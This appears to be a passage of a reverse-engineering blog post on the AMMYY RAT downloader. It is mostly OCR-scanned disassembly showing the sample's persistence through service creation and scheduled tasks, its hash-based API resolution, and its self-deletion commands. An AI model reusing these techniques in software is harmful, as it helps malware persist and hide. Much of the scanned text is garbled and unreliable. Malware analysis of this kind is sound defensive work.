86482981 push CSIDL_COMMON_APPI
88482983 push ecx

8@462984 push a

88402986 call eax

DataPath]

DATA

3 SHGetSpecialFolderPathi

88482288 call writeFile 3 C:\ProgramData‘\Microsoft Helpl\wsus.exe
88482280 add esp, 1Ch

28482298 les eax, [ebpt+FileName]

884822096 push eax 3 1lpFileName

86462988 mov esi, ds:wsprintfi
2040298E lea eax, [ebp+ProgamDataPath]
88482994 push eax
80482995 lea eax, [ebptexePath]
824082998 push offset aSMicrosoftHelp 2 ; "¥s\\Microsoft Help\)
86482948 push eax ;3 LPWSTR
88462941 call esi ; wsprintfi
86482943 push @FDE@BGE3h
28482948 push 4
Ba4a29AA call getFunc_fromHash
Ba4a29AF add esp, 14h
80402982 call eax ; isUserAdmin
80482984 test eax, eax
20482986 jz loc_4@2828
- y - y
il e = FEE]
884829BC push 5 20482528
@24829C1 push 4 @0482828 loc_482B23:
@24829C3 call getFunc_fromHash @3482828 push @8C9503546h
@24829C3 add esp, 8 @3482820 push 4
884829CB push 8 80482B2F call getFunc_fromHash
@a4a29CD push 8 0482834 add esp, 3
@a4a29CF push offset aCNetExeStopAmm @ ; "/C net.exe stop ammyy” 20402837 lea ecx, [ebp+OutputString]
2462904 push offset atmd_3 ; "cmd” @8482830 push 8
88482909 push e @0482B83F push 23h
88482908 push e 80482841 push ecx
88482900 call 80482842 push 8
@84829DF push 80482844 call eax

@24829E4 push

Ananancc o171

20482846 lea

AnamADAr ol

eax, [ebp+OutputString]
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88482465 lea
28482468 push
88482478 push
28482471 call
28482473 add
88462476 lea
ea482A7C push
28482470 call
88482433 push
BB482488 push
20482A8A call
28482A43F add
28402492 lea
88482498 push
88482494 push
2@48249C push
88482490 push
2e482482 push
88482484 push
2482786 call
BB482888 push
28482880 push
BB482ALF call
28482484 add
2@4824B7 push
88482ABC call
B84824BE push
ea482AC3 push
2e482AC5 call
Be482ACA add
B84824C0 push
20482AD2 call
28482404 push
28482409 push
8848240 call
2e4824E8 add
BB4B2AE3 push
B8482AE5 push
2a482AE7 push
B@482A4EC push
B@4824F1 push

ARAAAAT T - o=l

eax, [ebptOutputString]

offset aCScCreateFound ; "/C sc create foundation binPath= "%s -"
eax ; LPWSTR

esi ; wsprintfi

esp, BCh

eax, [ebptOutputString]

eax ; lpOutputString

ds:0utputDebugStringh

getFunc_fromHash

esp, B8

ecx, [ebp+OutputString]
a8

8

ecx
offset almd 7 ; “cmd”

Eax ; ShellExecutel

getFunc_fromHash
esp, B
7Deh

getFunc_fromHash
esp, 8
7DBh

getFunc_fromHash

esp, 8

8

)

offset alMetExeStartFo ; "/C net.exe start foundation y ™
offset aCmd_8 ; "omd”

a8

'

In the end, it deletes the original, second stage PE file:

|g@482c20 jz short loc_482C59 |

Y

FIIE

B8482C2F push 8 3 nShowCmd

88482C31 push 8 ; lpDirectory

8482033 lea eax, [ebp+Stringl] ; /c del C:\Users\JoTo\Desktop\SECOND~1.ELE »>> NUL

88482039 push eax ; lpParameters

B8482C3A lea eax, [ebp+Filename]

88482048 push eax ; 1pFile

88482C41 push 8 ; lpOperation

B8482C43 push 3 hwnd

ee402045 call
Ba4a2C4E cmp
|a4a2C4E jle

&
ds:ShellExechte;
eax, 2@h

short loc_482C59

YYVY

Lol s =]

Y
Ll e 51
Ba482C58 mov eax, 1 Ba4a2C59
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If the user is not an admin , it uses a COM object ( taskscd.dll ) to create and run the

executable (via scheduled task ):

88482377 mov [ebp+nSize], 1F4h
2848237E call ds:GetUserNamek
88482384 push @ ; dwCoInit
8B482386 push @ ; pvReserved
8B482388 call ds:CoInitializeEx
BB4B238E test eax, eax
80482398 js loc_4@24F4
_ A J
[l s
8482396 push 8 ; pReserved3
8482398 push 8 ; dwCapabilities
8482394 push 8 ; pReserved2
8848239C push 3 ; dwImplLevel
8B48239E push 6 ; dwhuthnlLevel
28482342 push 8 ; pReservedl
88482342 push 8 ; asAuthSve
88482344 push BFFFFFFFFh 3 cAuthSve
88482346 push 8 ; pSecDesc
8482348 call ds:ColInitializeSecurity
2E48238E test eax, eax
80482368 js loc_4824EE
Y
il e
@B4a2386 lea eax, [ebp+ppv]
@a4823B9 push eax 5 ppv
@a4823BA push offset riid ; riid
@B4823BF push 1 5 dwClsContext
@a4823C1 push ] ; pUnkOuter
@B4823C3 push offset stru_412EF4 ; rclsid
@a4823C8 mov [ebptppv], @
2e4@23CF call ds:CoCreatelnstance
88482305 test eax, eax
88482307 js loc_4@24EE
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il e =

284828EE8 lea eax, [ebpt+pvarg]
@B4828EE push eax ; pvarg
B04823EC mov [ebptvar 3C], @
884828F3 call ebx ; VariantInit
BR4028F5 mov ecx, [ebptvar_1C]

11 [ee4828F8 movq xmm@, qword ptr [ebptpvarg.ancnymous_8]
B84828FD mov edx, [ecx]
BB4B2BFF lea eax, [ebpt+var_3C]
28482982 push eax

1{ |ee482983 sub esp, 1éh
8482986 mov eax, esp

28402988 push ecx

22402989 movg gword ptr [eax], xmm@

284620980 movqg xmm@, qword ptr [ebptpvarg.anocnymous 843]
28482912 movqg gword ptr [eax+3], xmma

28482917 call dword ptr [edx+38h] ; Run@?QIRegisteredTask

88482914 mov esi, eax
2040291C lea eax, [ebptpvarg]

= |e@48291F push eax ; pvarg
88482928 call edi ; VariantClear
28402922 mov eax, [ebptvar_ 8]
28482925 push eax
28482926 mov ecx, [eax]
28482928 call dword ptr [ecx+8] ; ATL::CComObject::Release
28482928 mov eax, [ebptvar_4]
@848292E push eax
2040292F mov ecx, [eax]
2402931 call dword ptr [ecxt8]
28402934 mov eax, [ebptvar_1C]
28482937 push eax
B8482938 mov ecx, [eax]

28482934 call dword ptr [ecx+3]
88482930 test esi, esi
@B40293F s loc_4824EE

For the more detailed information look at sub_402360 function.

After that, same happens, it deletes the original, second stage PE file and exist via
TerminateProcess call:

okl e

ea4a2351

98482351 end_block:

ee482351 call deleteMe

@84082356 push a ; UExitCode
@8482358 push B8FFFFFFFFh ; hProcess

88482354 call ds:TerminatePracess
prin?aics [ etdeall Wabadinfv v v vl sndn ¢ cnoanalucdic fadlad

That’s all.
That was the brief overview of the AMMYY RAT Downloader .

Thank you for your time.
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Discuss on Reddit

Twitter: @_qaz_gaz
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https://www.reddit.com/r/ReverseEngineering/comments/8ryy2u/a_brief_overview_of_the_ammyy_rat_downloader/
https://twitter.com/_qaz_qaz

